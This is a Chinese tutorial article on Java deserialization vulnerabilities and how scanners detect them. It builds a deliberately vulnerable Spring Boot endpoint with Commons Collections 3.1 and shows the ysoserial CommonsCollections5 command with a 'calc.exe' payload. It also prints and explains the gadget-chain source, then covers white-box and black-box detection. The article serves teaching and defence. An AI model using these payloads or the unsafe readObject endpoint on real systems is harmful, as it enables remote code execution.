摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。

本文分享自华为云社区《java反序列化漏洞及其检测》,作者: alpha1e0。

1 java反序列化简介

java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。

在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。

1.1 什么是反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:

序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。

在java中任何类如果想要序列化必须实现java.io.Serializable接口,例如:

public class Hello implements java.io.Serializable {String name;
}

java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个 标记 让jre确定这个类是可以序列化的。

同时java中支持在类中定义如下函数:

private void writeObject(java.io.ObjectOutputStream out)throws IOException
private void readObject(java.io.ObjectInputStream in)throws IOException, ClassNotFoundException;

这两个函数不是java.io.Serializable的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因

例如:

public class Hello implements java.io.Serializable {String name;private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {Runtime.getRuntime().exec(name);}
}

该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。

在反序列化的过程中,攻击者仅能够控制“数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现攻击

1.2 反序列化漏洞示例复现

在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用spring-boot编写一个可以接收http数据并反序列化的应用程序。

使用 https://start.spring.io/ 生成一个spring-boot应用,选择Maven Project、java8

下载到本地,导入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依赖(该版本存在反序列化漏洞)

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

修改 DemoApplication.java 为如下代码

package com.example.demo;import java.io.IOException;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.GetMapping;@SpringBootApplication
@RestController
public class DemoApplication {public static void main(String[] args) {SpringApplication.run(DemoApplication.class, args);}@GetMapping("/hello")public String hello() {return "hello world";}// 反序列化接口@PostMapping("/rmi")public String rmi(HttpServletRequest request) {try {ObjectInputStream ois = new ObjectInputStream(request.getInputStream());Object obj = (Object) ois.readObject();return "unmarshal " + obj.getClass().getName() + " ok";} catch (ClassNotFoundException | IOException e) {return "unmarshal failed";}}
}

此时我们就完成了一个有 Apache Commons Collections 漏洞的验证靶场,启动该靶场应用

我们使用ysoserial 生成攻击payload:

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc

然后使用httpie 发送攻击payload(poc)

http post http://127.0.0.1:8080/rmi < poc

这时候就可以看到poc中的命令执行了

1.3 反序列化漏洞解析

在1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5 这个payload,本节我们对此poc进行分析

public BadAttributeValueExpException getObject(final String command) throws Exception {final String[] execArgs = new String[] { command };// inert chain for setupfinal Transformer transformerChain = new ChainedTransformer(  // 执行“链条”该类的transform会调用transformer使用反射执行命令new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),   // 这里是我们输入的命令 calc.exe new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  // 该类的toString会最终调用lazyMap.getBadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toStringField valfield = val.getClass().getDeclaredField("val");Reflections.setAccessible(valfield);valfield.set(val, entry);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val;
}

可以最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为

val = valObj.toString();

这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法

public String toString() {return this.getKey() + "=" + this.getValue();
}

其中 this.getValue 为

public Object getValue() {return this.map.get(this.key);
}

而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中

public Object get(Object key) {if (!super.map.containsKey(key)) {  // 当找不到key的时候调用transformObject value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}
}

在其中看到,没有找到key的时候,调用了 this.factory.transform(key)

而this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。

2 java反序列化漏洞检测

在1中的原理介绍中,我们可以看到,反序列化漏洞需要依赖执行链来完成攻击payload执行。由于反序列化漏洞的特性,在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过安全审计代码审计等方式发现。

java反序列化漏洞依赖于两个因素:

  1. 应用是否有反序列化接口
  2. 应用中是否包含有漏洞的组件

因此对应的漏洞扫描工具也需要根据这两个因素进行检测。

2.1 白盒工具检测

白盒代码审计工具,可通过在调用链中查找是否有发序列化的操作:

  • 调用链的入口不同框架是不同的,例如在1.2例子中调用链的入口为spring-boot的controller。
  • 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作

但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在java中,一般通过分析 pox.xml build.gradle 文件来分析是否包含有漏洞的组件。

2.2 黑盒漏洞扫描器检测

web漏洞扫描器检测原理和白盒工具不一样。

首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是web漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他web漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示

如今web漏洞扫描器都提供了代理组件来发现应用的http请求,爬虫组件可通过前台页面触发请求进入代理组件;但在API场景下,还是需要测试人员进行API调用该操作才能够产生http请求数据。

在截获到http请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:

  1. 通过http请求的Content-Type,具体来说ContentType: application/x-java-serialized-object 是序列化请求的请求头
  2. 检查请求数据的开头是否是 0xaced,有时候序列化请求不存在正确的content-type,此时需要根据数据来判断是否是序列化请求

在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测payload判断接口是否有反序列化漏洞,这里的攻击payload类似于1.2节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http返回数据没有攻击执行结果),因此只能进行盲注,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。

文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

点击关注,第一时间了解华为云新鲜技术~

带你掌握java反序列化漏洞及其检测相关推荐

  1. java反序列化终极工具_检测java反序列化漏洞

    java反序列化终极测试工具是一款检测java反序列化漏洞工具,直接将Jboss.Websphere和weblogic的反序列化漏洞的利用集成到了一起.java反序列化漏洞已经被曝出一段时间了,其强大 ...

  2. Java反序列化漏洞研究

    Java反序列化漏洞研究 漏洞原理 java序列化就是把对象转换成字节流,便于保存在内存.文件.数据库中:反序列化即逆过程,由字节流还原成对象.当反序列化的输入来源于程序外部,可以被用户控制,恶意用户 ...

  3. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  4. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  5. Java反序列化漏洞通用利用分析

    2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSpher ...

  6. 初探Java反序列化漏洞

    一.基本概念 Java序列化:就是将内存中的Java对象转换为字节序列的过程,可以理解为对Java对象打个快照.通过序列化,可以方便将Java对象保存在内存.文件.数据库等媒介中,也便于在网络中传输和 ...

  7. Lib之过?Java反序列化漏洞通用利用分析

    1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来***最新版的WebLogic.We ...

  8. java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码, ...

  9. java反序列化漏洞-基础

    基础: 要想了解java反序列化,首先要了解什么是序列化和什么是反序列化: 序列化:作用是将对象变为字符串 调用功能:ObjectOutputStream类的 writeObject() 反序列化:作 ...

最新文章

  1. 解题报告(十八)数论题目泛做(Codeforces 难度:2000 ~ 3000 + )
  2. 你们这行我懂,不给点好处都不接!
  3. python是不是特别垃圾-【转】python是垃圾吗?
  4. 2020数字中国创新大赛-智能算法赛-冠军方案分享
  5. pythonchar中的拟合方法_在python中利用numpy求解多项式以及多项式拟合的方法
  6. UWP 使用OneDrive云存储2.x api(一)【全网首发】
  7. 使用CrashHandler来获取应用的crash信息
  8. ansible离线安装
  9. python 行为驱动_什么是行为驱动的Python?
  10. 字节跳动高工面试:mysql索引视频教程
  11. WebSocket协议:5分钟从入门到精通
  12. CLR探索系列:深入追踪托管exe加载执行过程
  13. 组态王中时间存access怎么存_组态王如何实现实时显示数据并且记录到Access数据库中?...
  14. 微信读书vscode插件_想用 VSCode 写书?这款插件必须备上!
  15. 外汇天眼:新手如何模拟炒外汇?模拟炒外汇的一点心得分享
  16. 百度AI—人脸在线比对
  17. 谈谈privoxy:关于广告过滤和自动代理切换
  18. 《人工智能的未来》摘录
  19. json格式数据的传值与取值
  20. 使用CSS画一个萌萌的大白

热门文章

  1. 编程范式之命令式与函数式
  2. matlab求负数分数幂问题
  3. STM32F103移植mpu9250
  4. 深度学习笔记(39) Anchor Boxes
  5. java 正则提取大于等于号_Java正则表达式
  6. php 5.4 安装xcache,安装xcache为你的PHP加速
  7. macos 编译php,TODO:macOS编译PHP7.1
  8. java getcharat_Java UTF8.getCharArray方法代码示例
  9. Rafy 框架 - 使用 SqlTree 查询
  10. 常见设计模式结构图助记之结构型